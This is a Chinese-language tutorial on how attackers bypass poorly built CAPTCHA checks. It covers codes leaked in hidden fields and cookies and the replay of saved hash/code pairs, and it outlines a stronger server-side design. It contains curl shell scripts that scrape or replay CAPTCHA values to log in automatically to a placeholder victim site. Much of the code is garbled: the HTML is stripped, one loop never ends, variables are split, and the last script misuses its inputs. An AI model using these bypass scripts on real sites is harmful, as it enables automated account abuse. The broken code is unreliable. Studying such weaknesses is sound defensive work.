黑客破解验证码机制的常见方法

验证码这东西，大家应该都不陌生。简单说，就是把一串随机数字或符号生成图片，再在图片里加一些干扰像素，防止OCR直接识破。用户得靠肉眼识别出来，输入表单提交给网站验证，通过后才能继续操作。很多网站为了挡住机器人的自动注册、登录、灌水，都用了这套技术。

但问题来了——很多验证码实现其实漏洞百出。比如直接就把验证码明文塞到网页里或者Cookie里，这种设计基本等于没设防。咱们来看几个典型例子。

先看一个最粗暴的实现：验证码直接藏在HTML的隐藏表单字段里。

/*  Filename: authpage.php
 *  Author:   hutuworm
 *  @Copyleft hutuworm.org
 */
srand((double)microtime()*1000000);
if(isset($HTTP_POST_VARS['authinput'])) 
{
    if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
        echo "验证成功！";
    else
        echo "验证失败！";
}
while(($authnum=rand()%1000)<1000); 
?>


      请输入验证码：
>
      >

这段代码直接把验证码明文赋值给了隐藏域 authnum。攻击者只需要下载页面，拿到这个值就能绕过验证。用curl一行就搞定：

curl http://www.vicitm.org/authpage.php
authinput=`grep '' grep.txt | sed -e 's/[^0-9]//g'`
curl http://www.vicitm.org/authpage.php -d name=hacker -d submit="验证" -d authnum=$authnum

比这稍微聪明一点的做法，是把验证码放到用户Cookie里：

session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum);
...

...
if($number != $login_check_number || empty($number))
{
  print("校验码不正确!");
  die();
}

但Cookie这玩意儿用户可读可写，破解起来也不费劲。先接受服务器初始Cookie，再请求验证码图片，从返回的Cookie里提取 authnum，然后用它直接登录：

$username=hacker
$password=hackme
curl http://www.vicitm.org/index.php -c common_cookie 
curl http://www.vicitm.org/get_code.php -c $username.cook -b common_cookie
authnum=`grep authnum $username.cook | cut -f7`
curl http://www.victim.org/login.php -b $username.cook -d authnum=$authnum -d username=$username -d password=$password

再往上走，有一种更高级的实现，据说本论坛用的就是这种。它的思路是：服务器生成一个随机hash，然后用某个不可逆算法把hash转成验证码数字，再生成图片。hash通过Cookie发给客户端，客户端输入验证码后，服务器检查 f(hash) == 验证码。因为攻击者不知道编码算法，所以没法直接解出验证码。

但道高一尺魔高一丈，对付这种验证码可以用“过期Cookie法”。先保存服务器某次返回的Cookie和对应的验证码，然后每次发送请求时，把服务器发来的新hash扔掉，强行用之前保存的旧hash和旧验证码。就像一张电话充值卡反复使用一样。具体操作：

$sa vecookie=294b506f05f896dcbb3a0dde86a5e36c   
$num=7701
$username=hacker
$password=hackme
curl http://www.victim.org/index.php -c $username.cookie
grep -v authhash $username.cookie > tmp.$username
echo "www.victim.org   FALSE   /   FALSE   0   hash   $sa vecookie" >> tmp.$username
mv tmp.$username $username.cookie
curl http://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num

那最高级的验证码长什么样？它把验证码的整个生命周期都锁死在服务端：

1. 服务器根据用户相关信息（IP、SID等）生成一个随机hash。
2. 用不可逆算法将hash转成验证码数字。
3. hash不再发给客户端，而是存到本地数据库（通常用Session），并由一个序列号seq指向（seq可以是Session ID）。
4. seq随Cookie发送给客户端。
5. 用户输入验证码后，服务器不比较 f(hash) == 验证码，而是直接去数据库里读期望的验证码。如果匹配，验证通过。有些系统还会校验seq和Session ID的绑定关系。
6. 一旦用户完成验证或重新获取验证码，服务器就更新hash，旧值立即失效。

这种方案有两个关键特征：

• 过期性：因为验证码只存在于当前数据库，旧验证码无法重放。
• 高保密性：只传递seq，hash在服务端，攻击者根本无法逆向出 f(hash)。

当然也不是绝对安全，弱点主要体现在：OCR识别、seq劫持、以及对特定seq发起拒绝服务攻击。对付这类验证码，最直接的办法还是让用户手动识别——下载验证码图片，展示给用户，然后用户输入后提交。这种方式只适用于一次性验证的场景，比如登录验证。

curl http://www.victim.org/get_code.php -c validate.png -c validcode_cookie
seq=`grep seq validcode_cookie | cut -f7`
echo -n 请输入validate.png中的验证码：
read valid_number
curl http://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num

说到底，验证码本质上是一场猫鼠游戏。开发者想尽办法让机器识别困难，攻击者则想尽办法绕过。这种对抗在过去二十多年里从未停止，而且随着AI的进步，双方都在不断升级。了解这些攻防细节，不仅是安全从业者的基本功，也能帮普通网站开发者避开那些一眼就能看穿的坑。